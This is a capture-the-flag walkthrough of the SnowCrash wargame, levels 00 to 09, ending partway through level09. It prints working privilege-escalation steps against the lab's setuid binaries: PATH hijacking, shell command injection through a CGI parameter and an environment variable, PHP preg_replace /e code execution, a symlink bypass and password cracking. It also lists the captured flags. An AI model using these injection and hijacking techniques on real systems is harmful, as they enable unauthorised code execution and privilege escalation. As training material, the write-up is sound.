# /dev/log for snowcrash [Toc] # Week 1 ## Provisioning and level00 After some fails, I figured that the ISO given was for Mac OSX 64 bit and I launched to the following interface after booting. ![](https://hackmd.io/_uploads/By02Ctmb6.png) I created an SSH tunnel and is able to connect through my local machine. I ran the getflag command expecting to get the flag, but looks like the challenge starts for 00 already ![](https://hackmd.io/_uploads/HJAzyq7Zp.png) I ran a strings command on the getflags binary and here is what I get. I dont think this is anything useful. ``` /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used __stack_chk_fail strdup stdout fputc fputs getenv stderr getuid ptrace fwrite open __libc_start_main GLIBC_2.4 GLIBC_2.0 PTRh@ QVhF UWVS [^_] 0123456 You should not reverse this LD_PRELOAD Injection Linked lib detected exit.. /etc/ld.so.preload /proc/self/maps /proc/self/maps is unaccessible, probably a LD_PRELOAD attempt exit.. libc Check flag.Here is your token : You are root are you that dumb ? I`fA>_88eEd:=`85h0D8HE>,D 7`4Ci4=^d=J,?>i;6,7d416,7 <>B16\AD<C6,G_<1>^7ci>l4B B8b:6,3fj7:,;bh>D@>8i:6@D ?4d@:,C>8C60G>8:h:Gb4?l,A G8H.6,=4k5J0<cd/D@>>B:>:4 H8B8h_20B4J43><8>\ED<;j@3 78H:J4<4<9i_I4k0J^5>B1j`9 bci`mC{)jxkn<"uD~6%g7FK`7 Dc6m~;}f8Cj#xFkel;#&ycfbK 74H9D^3ed7k05445J0E4e;Da4 70hCi,E44Df[A4B/J@3f<=:`D 8_Dw"4#?+3i]q&;p6 gtw88EC boe]!ai0FB@.:|L6l@A?>qJ}I g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v| Nope there is no token here for you sorry. Try again :) 00000000 00:00 0 LD_PRELOAD detected through memory maps exit .. ;*2$"$ GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.6159 dtor_idx.6161 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux getflag.c end.3187 __init_array_end _DYNAMIC __init_array_start _GLOBAL_OFFSET_TABLE_ __libc_csu_fini syscall_gets __i686.get_pc_thunk.bx data_start ft_des stderr@@GLIBC_2.0 strdup@@GLIBC_2.0 _edata _fini __stack_chk_fail@@GLIBC_2.4 getuid@@GLIBC_2.0 fwrite@@GLIBC_2.0 __DTOR_END__ getenv@@GLIBC_2.0 __data_start syscall_open puts@@GLIBC_2.0 __gmon_start__ __dso_handle open@@GLIBC_2.0 _IO_stdin_used __libc_start_main@@GLIBC_2.0 __libc_csu_init _end _start _fp_hw stdout@@GLIBC_2.0 __bss_start main fputc@@GLIBC_2.0 afterSubstr _Jv_RegisterClasses isLib fputs@@GLIBC_2.0 _init ptrace@@GLIBC_2.0 level00@SnowCrash:~$ getflag Check flag.Here is your token : Nope there is no token here for you sorry. Try again :) level00@SnowCrash:~$ clear level00@SnowCrash:~$ strings /bin/getflag /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used __stack_chk_fail strdup stdout fputc fputs getenv stderr getuid ptrace fwrite open __libc_start_main GLIBC_2.4 GLIBC_2.0 PTRh@ QVhF UWVS [^_] 0123456 You should not reverse this LD_PRELOAD Injection Linked lib detected exit.. /etc/ld.so.preload /proc/self/maps /proc/self/maps is unaccessible, probably a LD_PRELOAD attempt exit.. libc Check flag.Here is your token : You are root are you that dumb ? I`fA>_88eEd:=`85h0D8HE>,D 7`4Ci4=^d=J,?>i;6,7d416,7 <>B16\AD<C6,G_<1>^7ci>l4B B8b:6,3fj7:,;bh>D@>8i:6@D ?4d@:,C>8C60G>8:h:Gb4?l,A G8H.6,=4k5J0<cd/D@>>B:>:4 H8B8h_20B4J43><8>\ED<;j@3 78H:J4<4<9i_I4k0J^5>B1j`9 bci`mC{)jxkn<"uD~6%g7FK`7 Dc6m~;}f8Cj#xFkel;#&ycfbK 74H9D^3ed7k05445J0E4e;Da4 70hCi,E44Df[A4B/J@3f<=:`D 8_Dw"4#?+3i]q&;p6 gtw88EC boe]!ai0FB@.:|L6l@A?>qJ}I g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v| Nope there is no token here for you sorry. Try again :) 00000000 00:00 0 LD_PRELOAD detected through memory maps exit .. ;*2$"$ GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.6159 dtor_idx.6161 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux getflag.c end.3187 __init_array_end _DYNAMIC __init_array_start _GLOBAL_OFFSET_TABLE_ __libc_csu_fini syscall_gets __i686.get_pc_thunk.bx data_start ft_des stderr@@GLIBC_2.0 strdup@@GLIBC_2.0 _edata _fini __stack_chk_fail@@GLIBC_2.4 getuid@@GLIBC_2.0 fwrite@@GLIBC_2.0 __DTOR_END__ getenv@@GLIBC_2.0 __data_start syscall_open puts@@GLIBC_2.0 __gmon_start__ __dso_handle open@@GLIBC_2.0 _IO_stdin_used __libc_start_main@@GLIBC_2.0 __libc_csu_init _end _start _fp_hw stdout@@GLIBC_2.0 __bss_start main fputc@@GLIBC_2.0 afterSubstr _Jv_RegisterClasses isLib fputs@@GLIBC_2.0 _init ptrace@@GLIBC_2.0 ``` Ran an strace on the program with no args, still didnt find anything good. ![](https://hackmd.io/_uploads/r1xRkcmW6.png) Sudoing wont work either ![](https://hackmd.io/_uploads/rkS8-cmW6.png) Looks like the subject states that I need to run the program as flagXX user, which indicates that this might be a privellege escalation problem. I checked `/etc/passwd` for any clues and I see this strange thing on the next user, ill keep note. But others than that, all the passwords seem protected ![](https://hackmd.io/_uploads/S1qwxoXb6.png) I tried running a `sudo -l` to list all the programs I can run, but looks like I got no luck ![](https://hackmd.io/_uploads/r19JpcQZa.png) In that case, I guess I can find all the files created by me to acheive the same thing using `find / -user level00` ``` /dev/pts/0 /dev/tty1 find: `/etc/chatscripts': Permission denied . . . /proc/2592/coredump_filter /proc/2592/io find: `/root': Permission denied find: `/sys/kernel/debug': Permission denied find: `/tmp': Permission denied find: `/var/cache/ldconfig': Permission denied find: `/var/lib/php5': Permission denied find: `/var/lib/sudo': Permission denied find: `/var/spool/cron/atjobs': Permission denied find: `/var/spool/cron/atspool': Permission denied find: `/var/spool/cron/crontabs': Permission denied find: `/var/tmp': Permission denied find: `/var/www/level04': Permission denied find: `/var/www/level12': Permission denied find: `/rofs/etc/chatscripts': Permission denied find: `/rofs/etc/ppp/peers': Permission denied find: `/rofs/etc/ssl/private': Permission denied find: `/rofs/home': Permission denied find: `/rofs/root': Permission denied find: `/rofs/var/cache/ldconfig': Permission denied find: `/rofs/var/lib/php5': Permission denied find: `/rofs/var/lib/sudo': Permission denied find: `/rofs/var/spool/cron/atjobs': Permission denied find: `/rofs/var/spool/cron/atspool': Permission denied find: `/rofs/var/spool/cron/crontabs': Permission denied find: `/rofs/var/tmp': Permission denied find: `/rofs/var/www/level04': Permission denied find: `/rofs/var/www/level12': Permission denied ``` Thats alot of files, Ill filter out the error texts by redirecting stderr to /dev/null ` find / -user level00 2>/dev/null` ``` /dev/pts/0 /dev/tty1 /proc/1814 /proc/1814/task /proc/1814/task/1814 /proc/1814/task/1814/attr /proc/1814/net /proc/1814/attr /proc/1815 /proc/1815/task [...] /proc/2672/sessionid /proc/2672/coredump_filter /proc/2672/io ``` This is what I got. Doesnt seem to have nothing special here, just process files and system files. I will do the same thing for the `flag00` user.. ``` level00@SnowCrash:~$ find / -user flag00 2>/dev/null /usr/sbin/john /rofs/usr/sbin/john level00@SnowCrash:~$ ``` ... and there are 2 files which can be read by us, intresting. ``` level00@SnowCrash:~$ file /usr/sbin/john /usr/sbin/john: ASCII text level00@SnowCrash:~$ file /rofs/usr/sbin/john /rofs/usr/sbin/john: ASCII text level00@SnowCrash:~$ ``` They are both ASCII files, could they contain the password? ``` level00@SnowCrash:~$ cat /usr/sbin/john cdiiddwpgswtgt level00@SnowCrash:~$ cat /rofs/usr/sbin/john cdiiddwpgswtgt level00@SnowCrash:~$ ``` Looks like we might have our password, lets try to login to flag00 ``` level00@SnowCrash:~$ su flag00 Password: su: Authentication failure level00@SnowCrash:~$ ``` Nope, its incorrect. Looks like this is an encrypted password. I went on https://www.dcode.fr/caesar-cipher to hopefully find a decryption and luckily, I managed to extract the plaintext from the caesar cipher ![](https://hackmd.io/_uploads/Bymgxsm-T.png) `nottoohardhere` is the password. I tried it and I'm in, launched getflag and I got my password `x24ti5gi3x0ol2eh4esiuxias` ``` level00@SnowCrash:~$ su flag00 Password: Don't forget to launch getflag ! flag00@SnowCrash:~$ getflag Check flag.Here is your token : x24ti5gi3x0ol2eh4esiuxias flag00@SnowCrash:~$ ``` ## level01 I noticed the weird thing on `/etc/passwd` for this user during the last level, and Ill try to login with the weird string `42hDRfypTqqnw` for this one. ``` level01@SnowCrash:~$ su flag01 Password: su: Authentication failure level01@SnowCrash:~$ ``` Nope, does not work. Ill need to do more research on what this is. Upon googleing, the string included in /etc/passwd is the encrypted user password, and usually is stored in a more secure form in /etc/shadow following this format: ![](https://hackmd.io/_uploads/H1eAbom-6.png) So our next step is to attempt to decrypt the password using one of the following formats. It is not MD5 since the password is not 32 Characters long. I dont think its blowfish because we need to get a seperate key for that (could be the username). It is not the SHA algorithms either because the length of the password does not meet the encryption results. So we are left with yescrypt I did some google and there are people trying to crack yescrypt with john the ripper, so I gave it a go and installed it ``` wget https://www.openwall.com/john/k/john-1.9.0.tar.xz --no-check-certificate tar -xvf john-1.9.0.tar.xz cd john-1.9.0/src && make ``` I ran the program and got the plaintext password ![](https://hackmd.io/_uploads/Hy8CDgVb6.png) The password turns out to be correct, and the flag is obtained `f2av5il02puano7naaf6adaaf` ``` level01@SnowCrash:/dev/shm/john-1.9.0$ su flag01 Password: Don't forget to launch getflag ! flag01@SnowCrash:~$ getflag Check flag.Here is your token : f2av5il02puano7naaf6adaaf flag01@SnowCrash:~$ ``` ## level02 Upon logging in, I was greeted by a `level02.pcap` in my home directory. Something tells be we need to use wireshark for this.. I loaded the file into wireshark and followed the TCP stream which constructs the TCP message based on the frames and got this. ![](https://hackmd.io/_uploads/BkjM-bNba.png) I tried c/p the string inside the password prompt, but the login failed. Looks like the `...` characters might be something else, I displayed the characters in hex, and got this.. ![](https://hackmd.io/_uploads/Byn0fb4W6.png) This is what the client typed, and turns out the 7F is a delete character in ASCII, which might indicate a backspace. So the password became from `ft_wandr...NDRel.L0L` to `ft_waNDReL0L` by replacing the `.` with backspaces. I tried against the console and it works. I got in and obtained the flag `kooda2puivaav1idi4f57q8iq` ``` level02@SnowCrash:~$ su flag02 Password: Don't forget to launch getflag ! flag02@SnowCrash:~$ getflag Check flag.Here is your token : kooda2puivaav1idi4f57q8iq flag02@SnowCrash:~$ ``` ## level03 I went in and got greeted by an executable ![](https://hackmd.io/_uploads/S1yfVZNZp.png) The strings output are shown as below ``` level03@SnowCrash:~$ strings ./level03 /lib/ld-linux.so.2 KT{K __gmon_start__ libc.so.6 _IO_stdin_used setresgid setresuid system getegid geteuid __libc_start_main GLIBC_2.0 PTRh UWVS [^_] /usr/bin/env echo Exploit me ;*2$" GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3 /home/user/level03 /usr/include/i386-linux-gnu/bits /usr/include/i386-linux-gnu/sys level03.c types.h types.h long long int __uid_t envp /home/user/level03/level03.c long long unsigned int setresuid setresgid unsigned char GNU C 4.6.3 argc __gid_t short unsigned int main short int argv ... ``` Here is the file type ``` level03@SnowCrash:~$ file ./level03 ./level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped ``` Could `/home/user/level03/level03.c` be a source code indicator? Looks like the setuid and setgid bit is set, which means that we can execute this program as the user who created it, which is our flag03 user. The possible way forward now is to make this program execute `getflag`, so it can return us the flag as said user To find a way to execute programs inside the executable, i used `ltrace` to identify any system calls made by the program. ``` level03@SnowCrash:~$ ltrace ./level03 __libc_start_main(0x80484a4, 1, 0xbffff7f4, 0x8048510, 0x8048580 <unfinished ...> getegid() = 2003 geteuid() = 2003 setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0 setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0 system("/usr/bin/env echo Exploit me"Exploit me <unfinished ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 0 +++ exited (status 0) +++ level03@SnowCrash:~$ ``` Looks like it calls [system](https://man7.org/linux/man-pages/man3/system.3.html) to execute shell command `/usr/bin/env echo Exploit me`. Its quite weird that it calls to `env` first then `echo` So it sets the current environment variables before calling echo. If I change the PATH variable to look for my own directory first, then whatever program that has the name `echo` will get executed. So thats what I did here. ``` export PATH=/dev/shm:$PATH cp /bin/getflag /dev/shm mv /dev/shm/getflag /dev/shm/echo ``` and once this is done, I re-executed level03 and got the flag `qi0maab88jeaj46qoumi7maus` ``` level03@SnowCrash:~$ ./level03 Check flag.Here is your token : qi0maab88jeaj46qoumi7maus level03@SnowCrash:~$ ``` ## level04 For level04, I was greeted with a perl script with the following contents ``` #!/usr/bin/perl # localhost:4747 use CGI qw{param}; print "Content-type: text/html\n\n"; sub x { $y = $_[0]; print `echo $y 2>&1`; } x(param("x")); ``` Here is the file type ``` level04@SnowCrash:~$ file level04.pl level04.pl: setuid setgid a /usr/bin/perl script, ASCII text executable ``` since the setuid and setgid bits are enabled, means this is another privellege escallation gig, I will need to execute getflag inside this script somehow to get the flag. Upon doing some research on what the script does, I figured that this script is meant to be run as a back end CGI, where we need to spin up a webserver to accept requests. The program defines a subroutine 'x' which takes a parameter which needs to be named 'x' and concats it to the echo call. Not much I can elaborate here since I am not good with perl. Need to trial and error this. Luckily, the ISO already has Apache installed and it is already running on port `4747` ![](https://hackmd.io/_uploads/S1w_wAEWT.png) I went port-forwarded the traffic and tried to adjust the x query parameter in my browser, and it does show me something as an output ![](https://hackmd.io/_uploads/r1lkd0VWa.png) Looks like the print command of the perl script will be run by the server since its surrounded in backticks. In bash, backticks are called **command substitution** in bash which spawn a subshell and captures the output of the command inside the backtick and returns it to the main shell ``` level04@SnowCrash:~$ echo ls ls level04@SnowCrash:~$ `echo ls` level04.pl level04@SnowCrash:~$ ``` If this is the case, I should make the x parameter ``` x=`getflag` ``` To run the getflag program as flag04 user. To do that, the following query is sent ``` http://localhost:4747/?x=`getflag` ``` And I got the following output, the flag is `ne2searoevaevoem4ov4ar8ap` ![](https://hackmd.io/_uploads/SkGIqAE-T.png) ## level05 Upon reaching level05, there are no programs or files in the home directory, so I ran `find / -user flag05 2> /dev/null` to look for any files flag05 owns And turns out, we got our files ``` level05@SnowCrash:~$ find / -user flag05 2> /dev/null /usr/sbin/openarenaserver /rofs/usr/sbin/openarenaserver level05@SnowCrash:~$ ``` The file contents are as follows ```bash= #!/bin/sh for i in /opt/openarenaserver/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done ``` Which scans the `/opt/openarenaserver/` directory for files and executes everything that is executable inside with a time limit of 5 seconds for each process. The file is then deleted afterwards. Gave it a sanity check and it works ``` level05@SnowCrash:/dev/shm$ ./openarenaserver + echo asdfx asdfx ``` I tried to run getflag with it, but I had no luck. when I tried to `ls -lah` the file, I noticed that there is something special in the permission bit: ``` -rwxr-x---+ 1 flag05 flag05 94 Mar 5 2016 /usr/sbin/openarenaserver ``` the + bit at the end of the permission bits means that there are additional permissions set by Access Control Lists (ACL). To get information on those permissions, one can use getfacl command ``` level05@SnowCrash:/dev/shm$ getfacl /usr/sbin/openarenaserver getfacl: Removing leading '/' from absolute path names # file: usr/sbin/openarenaserver # owner: flag05 # group: flag05 user::rwx user:level05:r-- group::r-x mask::r-x other::--- ``` Nothing useful here it seems, the only implication i get from doing this is that I cant write to that file. I was curious and also ran getfacl on the /opt/openarenaserver directory, and got something intresting... ``` # file: opt/openarenaserver/ # owner: root # group: root user::rwx user:level05:rwx user:flag05:rwx group::r-x mask::rwx other::r-x default:user::rwx default:user:level05:rwx default:user:flag05:rwx default:group::r-x default:mask::rwx default:other::r-x ``` I tried changing the permissions of the directory, but it is not permitted ``` level05@SnowCrash:/dev/shm$ chmod -R 2777 /opt/openarenaserver chmod: changing permiss ions of `/opt/openarenaserver': Operation not permitted ``` I also tried changing ownership of the script, but it was also not permitted ``` level05@SnowCrash:/opt/openarenaserver$ ls -lah total 4.0K drwxrwxr-x+ 2 root root 60 Oct 12 05:24 . drwxr-xr-x 1 root root 60 Oct 12 03:51 .. -rwxr-x---+ 1 level05 level05 94 Oct 12 05:24 openarenaserver level05@SnowCrash:/opt/openarenaserver$ chown flag05 openarenaserver chown: changing ownership of `openarenaserver': Operation not permitted level05@SnowCrash:/opt/openarenaserver$ ``` After a short break and I logged back in, I noticed that I have new mail ![](https://hackmd.io/_uploads/Bk08akSZT.png) and upon reading it, I saw a crontab which runs the openarenaserver script every 2 minutes ``` level05@SnowCrash:~$ cat /var/mail/level05 */2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05 ``` This must be a clue, I made a script that echoes to a file and I waited for 2 minutes, eventually the script did get deleted and the contents did appear in the file I specified. ``` level05@SnowCrash:/opt/openarenaserver$ ls test.sh level05@SnowCrash:/opt/openarenaserver$ ls test.sh level05@SnowCrash:/opt/openarenaserver$ ls test.sh level05@SnowCrash:/opt/openarenaserver$ ls level05@SnowCrash:/opt/openarenaserver$ cat /dev/shm/hello asdfg level05@SnowCrash:/opt/openarenaserver$ ``` I replaced the contents of the script with getflag, and the file should have the programs output. And once the script runs and gets deleted, the output should have the flag `viuaaale9huek52boumoomioc` ``` level05@SnowCrash:/opt/openarenaserver$ ls test.sh level05@SnowCrash:/opt/openarenaserver$ ls level05@SnowCrash:/opt/openarenaserver$ cat /dev/shm/hello Check flag.Here is your token : viuaaale9huek52boumoomioc level05@SnowCrash:/opt/openarenaserver$ ``` ## level06 Upon arriving at level06, I was greeted with 2 files, here are the enumeration results ``` level06@SnowCrash:~$ cat level06.php #!/usr/bin/php <?php function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; } function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; } $r = x($argv[1], $argv[2]); print $r; ?> level06@SnowCrash:~$ file level06 level06: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xaabebdcd979e47982e99fa318d1225e5249abea7, not stripped level06@SnowCrash:~$ ``` We have a php script file that supposedly is running on a server, and we have a CGI program which has setuid bit set. I executed both the script and the program and looks like they have the same output. Could the executable be a compiled version of the php script? ``` level06@SnowCrash:~$ ./level06.php PHP Notice: Undefined offset: 1 in /home/user/level06/level06.php on line 5 PHP Notice: Undefined offset: 2 in /home/user/level06/level06.php on line 5 PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4 level06@SnowCrash:~$ ./level06 PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4 level06@SnowCrash:~$ ``` I took a look at the script file, and here is what the formatted version looks like ```php= #!/usr/bin/php <?php function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; } function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; } $r = x($argv[1], $argv[2]); print $r; ?> ``` The script has a function called `y` which accepts 1 parameter, where it replaces all the `.` with ` x ` and all the `@` with ` y` from the input string and returns the replaced string. The function `x` however takes 2 inputs, but only the first one is used. the first input should be a path to a file and its contents will be read and stored at the variable `a` It then finds the pattern `[x (anything here)]` and runs `y(anything here from earlier)` to get the result which is used as a replacement for the file contents. The reason `y` gets executed is becase of the **e(execution) flag** after the regex. This tells the computer to excecute whatever is in the second parameter as PHP code. The `x` function then replaces braces with parenthesis. The thing is, the way `y` gets executed is by specifying a string in the second parameter. In Javascript, there is a way to inject varaibles straight into strings like so: ``` let test = `hello ${1 + 1}` // hello 2 ``` We can also run functions in it like so: ``` let test = `hello ${some_func()}` // hello <output of some_func()> ``` We can do the same in PHP like so ``` $test = "hello ${1 + 1}" // hello 2 ``` This feature is called **variable interpolation**. And instead of running php functions, php also allows us to run shell commands in variable interpolations using backticks. This feature is called **Execution operator** ``` $test = "hello ${`whoami`}" // hello your_user ``` So back to our function, we can use Execution operators and variable interpolation to execute commands in the `y(anything here from earlier)` step; which we want to acheive ``` y(${`getflag`}) ``` To do so, we need to change the `[x (anything here)]` part so that the **second capture group** will batch whatever that we want the input to be on the `y()` call. Hence, our input should be ``` [x ${`getflag`}] ``` After getting our input, we obtained our flag `wiok45aaoguiboiki2tuin6ub` ``` level06@SnowCrash:~$ ./level06 /dev/shm/input PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub in /home/user/level06/level06.php(4) : regexp code on line 1 level06@SnowCrash:~$ ``` ## level07 I see a binary in the home folder, below are the enumeration results ``` level07@SnowCrash:~$ ls -lah total 24K dr-x------ 1 level07 level07 120 Mar 5 2016 . d--x--x--x 1 root users 340 Aug 30 2015 .. -r-x------ 1 level07 level07 220 Apr 3 2012 .bash_logout -r-x------ 1 level07 level07 3.5K Aug 30 2015 .bashrc -rwsr-sr-x 1 flag07 level07 8.6K Mar 5 2016 level07 -r-x------ 1 level07 level07 675 Apr 3 2012 .profile level07@SnowCrash:~$ file level07 level07: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x26457afa9b557139fa4fd3039236d1bf541611d0, not stripped level07@SnowCrash:~$ ``` ``` level07@SnowCrash:~$ ./level07 level07 level07@SnowCrash:~$ ltrace ./level07 __libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...> getegid() = 2007 geteuid() = 2007 setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0 setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0 getenv("LOGNAME") = "level07" asprintf(0xbffff744, 0x8048688, 0xbfffff4f, 0xb7e5ee55, 0xb7fed280) = 18 system("/bin/echo level07 "level07 <unfinished ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 0 +++ exited (status 0) +++ level07@SnowCrash:~$ ``` I noticed that the program calls getenv on LOGNAME which returns `level07` before echoing out the value. In bash, there are a way to execute commands inside the resolution of environment variables by using the same mechanism from level04 ``` level07@SnowCrash:~$ export TEST="`echo asdf`" level07@SnowCrash:~$ echo $TEST asdf ``` I tried doing the following but it looks like it didnt work ``` level07@SnowCrash:~$ export LOGNAME=`/bin/getflag` level07@SnowCrash:~$ ./level07 Check flag.Here is your token : sh: 2: Syntax error: ")" unexpected ``` I realized something, the program also prints the string into the terminal. If I set the variable to ``` LOGNAME=`/bin/getflag` ``` before the execution, the program will execute on the action of setting of the variable; which will print out the wrong output. However, if I set the variable to ``` LOGNAME='`/bin/getflag`' ``` The echo will print the literal with the backticks, which will get executed by the `system` syscall which spawns a child shell instead. Take a look at the example. ``` level07@SnowCrash:~$ export LOGNAME=`whoami` level07@SnowCrash:~$ ./level07 level07 level07@SnowCrash:~$ export LOGNAME='`whoami`' level07@SnowCrash:~$ ./level07 flag07 level07@SnowCrash:~$ ``` With the above information, I am able to get the flag `fiumuikeil55xe9cu4dood66h` ``` level07@SnowCrash:~$ export LOGNAME='`getflag`' && ./level07 Check flag.Here is your token : fiumuikeil55xe9cu4dood66h level07@SnowCrash:~$ ``` # Week 2 ## level08 I was greeted by 2 files, here are the enumeration results ``` level08@SnowCrash:~$ ls level08 token level08@SnowCrash:~$ file token token: regular file, no read permission level08@SnowCrash:~$ file level08 level08: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xbe40aba63b7faec62e9414be1b639f394098532f, not stripped level08@SnowCrash:~$ la -lah total 28K dr-xr-x---+ 1 level08 level08 140 Mar 5 2016 . d--x--x--x 1 root users 340 Aug 30 2015 .. -r-x------ 1 level08 level08 220 Apr 3 2012 .bash_logout -r-x------ 1 level08 level08 3.5K Aug 30 2015 .bashrc -rwsr-s---+ 1 flag08 level08 8.5K Mar 5 2016 level08 -r-x------ 1 level08 level08 675 Apr 3 2012 .profile -rw------- 1 flag08 flag08 26 Mar 5 2016 token ``` Upon running the program with ltrace, here are the results ``` level08@SnowCrash:~$ ltrace ./level08 token __libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...> strstr("token", "token") = "token" printf("You may not access '%s'\n", "token"You may not access 'token' ) = 27 exit(1 <unfinished ...> +++ exited (status 1) +++ level08@SnowCrash:~$ ltrace ./level08 /dev/shm/token __libc_start_main(0x8048554, 2, 0xbffff7c4, 0x80486b0, 0x8048720 <unfinished ...> strstr("/dev/shm/token", "token") = "token" printf("You may not access '%s'\n", "/dev/shm/token"You may not access '/dev/shm/token' ) = 36 exit(1 <unfinished ...> +++ exited (status 1) +++ level08@SnowCrash:~$ ``` Im guessing it uses `strstr` to check the name of the file if it contains the string `token` and if it is, it will just print the error message. Other files are okay as seen below : ``` level08@SnowCrash:~$ ltrace ./level08 /dev/shm/test __libc_start_main(0x8048554, 2, 0xbffff7c4, 0x80486b0, 0x8048720 <unfinished ...> strstr("/dev/shm/test", "token") = NULL open("/dev/shm/test", 0, 014435162522) = 3 read(3, "sadf\n", 1024) = 5 write(1, "sadf\n", 5sadf ) = 5 +++ exited (status 5) +++ level08@SnowCrash:~$ ``` My intuition tells me to make a soft link to that file with a different name, and call the program with the soft link. It didnt work however ``` level08@SnowCrash:~$ ln -s token /dev/shm/lala level08@SnowCrash:~$ ./level08 /dev/shm/lala level08: Unable to open /dev/shm/lala: Permission denied level08@SnowCrash:~$ file /dev/shm/lala /dev/shm/lala: broken symbolic link to `token' level08@SnowCrash:~$ cat /dev/shm/lala cat: /dev/shm/lala: No such file or directory ``` I also noticed that the program does not do any setuid calls before calling open. After some searcing, I found out that for [sticky world writable directories like /run/shm](https://www.baeldung.com/linux/symlinks-permissions), symlinks can only be followed by who created it. So I made the symlink in some other location and it worked The password to `flag08` is `quif5eloekouj29ke0vouxean` ``` level08@SnowCrash:~$ ln -s /home/user/level08/token /tmp/test && ./level08 /tmp/test quif5eloekouj29ke0vouxean level08@SnowCrash:~$ ``` The flag of this level is `25749xKZ8L7DkSCwJkT9dyv6f` ``` level08@SnowCrash:~$ su flag08 Password: Don't forget to launch getflag ! flag08@SnowCrash:~$ getflag Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f flag08@SnowCrash:~$ ``` ## level09 Here are the enumeration results ``` level09@SnowCrash:~$ ls level09 token level09@SnowCrash:~$ file * level09: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0e1c5a0dfb537112250e1c78d5afec3104abb143, not stripped token: data level09@SnowCrash:~$ cat token f4kmm6p|=�p�n��DB�Du{�� level09@SnowCrash:~$ ``` Upon running `ltrace` on the executable, it looks like it detects the attempt and warns us to not reverse this using `ptrace(PTRACE_TRACEME, 0, 0, 0)`. ``` level09@SnowCrash:~$ ltrace ./level09 __libc_start_main(0x80487ce, 1, 0xbffff7f4, 0x8048aa0, 0x8048b10 <unfinished ...> ptrace(0, 0, 1, 0, 0xb7e2fe38) = -1 puts("You should not reverse this"You should not reverse this ) = 28 +++ exited (status 1) +++ level09@SnowCrash:~$ ``` So I just executed the executable arguments to test ``` level09@SnowCrash:~$ ./level09 a a level09@SnowCrash:~$ ./level09 b b level09@SnowCrash:~$ ./level09 c c level09@SnowCrash:~$ ./level09 1 1 level09@SnowCrash:~$ ./level09 ab ac level09@SnowCrash:~$ ./level09 abc ace level09@SnowCrash:~$ ./level09 abcd aceg level09@SnowCrash:~$ ./level09 abcdef acegik ``` On the surface, looks like the program iterates through the characters and does an ASCII rotation based on the current index of the iteration ``` input: abcde a - index 0, ascii + 0, output a b - index 1, ascii + 1, output c c - index 2, ascii + 2, output e d - index 3, ascii + 3, output g e - index 4, ascii + 4, output i output: acegi ``` I also saw a token file earlier, maybe if that file was encrypted with this mechanism, and I need to decrpypt the file in the same manner. I used `od -t u1` to get the files bytes in decimal so I can construct an array and iterate through it applying the decryption in python. The script can be made like so ```python= # obtained from od -t u1 # last byte removed because its out of range bytes = [102,52,107,109,109,54,112,124,61,130,127,112,130,110,131,130,68,66,131,68,117,123,127,140,137] for x, byte in enumerate(bytes) : bytes[x] -= x print(''.join(chr(i) for i in bytes)) ``` With the script created and ran, we are able to login to flag09 and get the flag 